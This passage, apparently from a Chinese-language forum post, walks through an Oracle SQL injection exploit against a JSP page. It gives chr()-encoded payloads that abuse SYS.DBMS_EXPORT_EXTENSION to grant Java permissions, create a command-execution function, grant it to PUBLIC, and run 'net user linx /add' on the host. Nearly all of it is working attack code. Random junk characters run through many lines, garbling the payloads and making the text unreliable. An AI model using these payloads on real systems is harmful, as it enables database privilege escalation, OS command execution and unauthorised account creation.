4 y6 }' A; u2 L6 T% Mchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||; L8 i/ B u$ @; @ Z! O
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||5 H9 O3 `( z% m- h; S1 G8 r$ k+ n4 A' p
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
4 n0 N5 i# c+ e" e7 R) k) Vchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
) f% p, w, x) M: I N: l,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual5 O4 P% @4 a" E. c( x
7 z, M5 C+ p9 f+ I& c0 L)4 \- h8 B, G0 M# R9 I2 V
7 C$ p9 }& |# l& T8 A9 y& _------------------------------
- u+ ~/ B0 V* G% `# K8 o
D9 I9 G* r1 g. L2.赋Java权限
T- C( [; S2 s z/xxx.jsp?id=1 and chr(49)<>chr(50)||(
* H/ J, R4 x _5 }8 p0 G0 [5 v1 j2 h# m; }3 B( W) C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
, m- G9 ]8 l2 S) Bchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||( z6 ]$ L. N& s* {) J7 N' f
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
4 S* I9 n$ v" Tchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||5 `0 `4 O3 ?- r K+ k, e
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
7 \5 `- m) p \% L& Y ?chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
* B1 \) y& b& t2 n: Z; }" ?* ichr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
7 ^% o: ^9 R4 O' ~8 L2 k6 tchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||, m, p. W- G5 Y$ h. X2 Q
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
7 z2 Q! H6 F( k# O, e) g& a1 Nchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
6 x1 `( `: j6 y. s, j,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual: O0 A$ }8 b! C2 w! [6 L- D G0 Q" u
. D: k% n7 V/ R% \)+ v `3 ]. \1 t/ ^
' T; u- c* Y# ^) g, Q
readfile函数的ascii版就不写了,见谅。% y$ M/ R, X W" p% j e
+ _" C5 i/ }6 s& F
3.创建函数: ` k- y7 h8 ]2 n' I
# p, E3 Q. f& S( O, L4 B
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
" v! K8 S# p4 J6 ], ~chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 d8 {- s5 m1 M( D$ mchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
5 o5 x: p# K' M4 A! Y s" N" H4 mchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
% U; r' c& j% N. i8 rchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
1 t( D1 a) V, W1 V+ O# z0 rchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
+ H5 m7 Q x" d0 Pchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||2 R. I: N; @ L+ B1 ?: [
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||0 I% e8 a+ Z* i5 S
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||, h6 }! W& Y; _3 \1 L! ?" @8 _$ ?: r
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)|| [( Y" v1 e& P9 e' e( v8 h0 W
chr(59)||chr(45)||chr(45)
, ]$ l' g, G% n,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
9 Y1 G* r V( G4 R. `& n- Z7 g5 o3 i
: O' W. G5 D4 M, J9 v8 z% _1 [# X! G9 g+ P/ |- H+ ~) c
4.赋public执行函数的权限/ S0 r1 H- @# r( C
+ N- c+ e! [- \ Z' P9 k) Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),- g3 T/ q" v4 P" @3 J5 Z1 z+ {
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||; q! }+ @2 F- f( Z* A
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||8 o9 Y9 e" p* ~0 h, `; f7 m
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||8 [9 U; V% ^$ F- \- k% \4 F
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||7 c1 E4 w; S! j t+ o) Y U
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
! X0 y0 x/ ]2 K3 d6 b5 wchr(59)||chr(45)||chr(45)
3 I: x8 v \8 Q7 E6 w,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
3 {5 d/ K, e" s9 ^+ v3 c. e
; Q4 N/ R+ ~' o; V4 t/ B m, U! A5 ?$ [0 {1 o* [
; i5 ^. m9 m/ I& {2 j( X
5.执行命令:
" b2 ]" _+ ~. M# N6 }- p% D" U: {* F ~
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
+ ^! \7 t$ [0 @ A2 O4 y, P7 |4 xselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 r# z) A6 e1 `4 \5 ])
3 E' C. x: \/ f C+ r$ b0 `+ B5 U
, K& T7 Y/ n! E即( ]1 u8 C& D1 w: A
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
% S, c, b3 b2 ~3 ^5 Mselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual0 v7 a2 l) }" B& E& i7 e
)
1 V6 [! F0 A! B% ^ |